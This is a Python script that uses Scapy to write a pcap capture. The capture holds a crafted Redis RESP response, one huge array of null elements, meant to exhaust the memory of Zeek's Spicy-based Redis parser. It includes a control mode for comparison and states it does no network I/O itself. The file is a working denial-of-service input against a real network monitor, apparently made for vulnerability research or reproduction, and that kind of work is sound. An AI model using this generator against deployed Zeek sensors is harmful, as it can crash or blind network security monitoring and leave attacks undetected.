#!/usr/bin/env python3
"""Generate a Redis RESP array that exhausts Zeek's parser object memory.

The attack wraps minimal null values in one large array, forcing Spicy to retain
every parsed element. ``--control`` sends the same values as independent replies so
each parser unit can be released. This script performs no network I/O.

Generated by Claude Opus 4.8, inspired by a similar script provided by Trail of Bits
using GPT 5.6 sol.
"""

from __future__ import annotations

import argparse
from collections.abc import Iterable
from pathlib import Path

from scapy.layers.inet import IP, TCP
from scapy.layers.l2 import Ether
from scapy.packet import Packet, Raw
from scapy.utils import wrpcap

CLIENT_IP = "192.0.2.1"
SERVER_IP = "192.0.2.2"
CLIENT_MAC = "02:00:00:00:00:01"
SERVER_MAC = "02:00:00:00:00:02"
CLIENT_PORT = 40_000
SERVER_PORT = 6379
SEGMENT_SIZE = 1400
MAX_ELEMENTS = 1_048_576


def tcp_packet(
    server_to_client: bool,
    sequence: int,
    acknowledgment: int,
    flags: str,
    payload: bytes = b"",
) -> Packet:
    """Build one Ethernet/IPv4/TCP packet; Scapy fills in checksums."""
    if server_to_client:
        ether = Ether(src=SERVER_MAC, dst=CLIENT_MAC)
        ip = IP(src=SERVER_IP, dst=CLIENT_IP)
        tcp = TCP(sport=SERVER_PORT, dport=CLIENT_PORT)
    else:
        ether = Ether(src=CLIENT_MAC, dst=SERVER_MAC)
        ip = IP(src=CLIENT_IP, dst=SERVER_IP)
        tcp = TCP(sport=CLIENT_PORT, dport=SERVER_PORT)

    tcp.seq = sequence
    tcp.ack = acknowledgment
    tcp.flags = flags
    tcp.window = 65_535

    packet = ether / ip / tcp
    if payload:
        packet = packet / Raw(load=payload)
    return packet


def response_data(elements: int, control: bool) -> bytes:
    """Return equal null values either nested in an array or independent."""
    values = b"_\r\n" * elements
    if control:
        return values
    return b"*" + str(elements).encode() + b"\r\n" + values


def build_packets(elements: int, control: bool) -> Iterable[Packet]:
    """Yield a Redis request followed by the selected responder stream."""
    client_sequence = 1000
    server_sequence = 2000

    yield tcp_packet(False, client_sequence, 0, "S")
    client_sequence += 1
    yield tcp_packet(True, server_sequence, client_sequence, "SA")
    server_sequence += 1
    yield tcp_packet(False, client_sequence, server_sequence, "A")

    request = b"PING\r\n"
    yield tcp_packet(False, client_sequence, server_sequence, "PA", request)
    client_sequence += len(request)

    response = response_data(elements, control)
    for offset in range(0, len(response), SEGMENT_SIZE):
        chunk = response[offset : offset + SEGMENT_SIZE]
        yield tcp_packet(True, server_sequence + offset, client_sequence, "PA", chunk)
    server_sequence += len(response)

    yield tcp_packet(False, client_sequence, server_sequence, "FA")
    yield tcp_packet(True, server_sequence, client_sequence + 1, "FA")


def positive_element_count(value: str) -> int:
    """Parse and validate an element count accepted by the Redis analyzer."""
    count = int(value)
    if not 1 <= count <= MAX_ELEMENTS:
        raise argparse.ArgumentTypeError(
            f"elements must be between 1 and {MAX_ELEMENTS}"
        )
    return count


def main() -> None:
    """Parse arguments and generate the capture."""
    default_output = Path(__file__).with_suffix("")
    parser = argparse.ArgumentParser()
    parser.add_argument("output", nargs="?", type=Path, default=default_output)
    parser.add_argument("--elements", type=positive_element_count, default=1_000)
    parser.add_argument("--control", action="store_true")
    args = parser.parse_args()
    wrpcap(str(args.output), list(build_packets(args.elements, args.control)))


if __name__ == "__main__":
    main()
